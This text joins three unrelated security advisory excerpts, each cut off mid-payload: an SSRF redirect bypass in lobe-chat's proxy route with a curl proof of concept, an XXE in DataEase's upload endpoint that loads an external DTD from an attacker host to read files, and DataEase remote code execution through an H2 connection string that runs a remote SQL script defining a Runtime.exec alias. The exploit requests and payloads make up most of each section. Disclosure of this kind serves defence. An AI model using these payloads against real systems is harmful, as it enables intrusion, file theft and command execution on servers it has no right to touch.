### Summary SSRF protection implemented in https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts does not consider redirect and could be bypassed when attacker provides external malicious url which redirects to internal resources like private network or loopback address. ### PoC 1. Run lobe-chat in docker container. In my setup lobe-chat runs on 0.0.0.0:3210; 2. Create file dummy-server.js with the following content: ``` var http = require('http'); console.log("running server"); http.createServer(function (req, res) { console.log(req.url); res.writeHead(200, {'Content-Type': 'text/html'}); res.end(); }).listen(3001, 'localhost'); ``` And run ``` node dummy-server.js ``` as an example server inside of container [1] (or in containers private network). 3. Run in terminal to perform request to lobe-chat instance from [1] ``` curl --path-as-is -i -s -k -X $'POST' \ -H $'Host: 0.0.0.0:3210' -H $'Accept-Encoding: gzip, deflate, br' -H $'Referer: http://0.0....

### Impact There is an XML external entity injection vulnerability in the static resource upload interface of DataEase. An attacker can construct a payload to implement intranet detection and file reading. 1. send request: ``` POST /de2api/staticResource/upload/1 HTTP/1.1 Host: dataease.ubuntu20.vm Content-Length: 348 Accept: application/json, text/plain, */* out_auth_platform: default X-DE-TOKEN: jwt User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6OZBNygiUCAZEbMn ------WebKitFormBoundary6OZBNygiUCAZEbMn Content-Disposition: form-data; name="file"; filename="1.svg" Content-Type: a <?xml version='1.0'?> <!DOCTYPE xxe [ <!ENTITY % EvilDTD SYSTEM 'http://10.168.174.1:8000/1.dtd'> %EvilDTD; %LoadOOBEnt; %OOB; ]> ------WebKitFormBoundary6OZBNygiUCAZEbMn-- // 1.dtd的内容 <!ENTITY % resource SYSTEM "file:///...

### Impact An attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string. request message: ``` POST /de2api/datasource/validate HTTP/1.1 Host: dataease.ubuntu20.vm User-Agent: python-requests/2.31.0 Accept-Encoding: gzip, deflate Accept: */* Connection: close X-DE-TOKEN: jwt Content-Length: 209 Content-Type: application/json { "id": "", "name": "test", "type": "h2", "configuration": "eyJqZGJjIjogImpkYmM6aDI6bWVtOnRlc3Q7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO0lOSVQ9UlVOU0NSSVBUIEZST00gJ2h0dHA6Ly8xMC4xNjguMTc0LjE6ODAwMC9wb2Muc3FsJzsifQ==" } ``` h2 data source connection string: ``` // configuration { "jdbc": "jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '[http://10.168.174.1:8000/poc.sql'](http://10.168.174.1:8000/poc.sql%27);", } ``` the content of poc.sql: ``` // poc.sql CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CA...
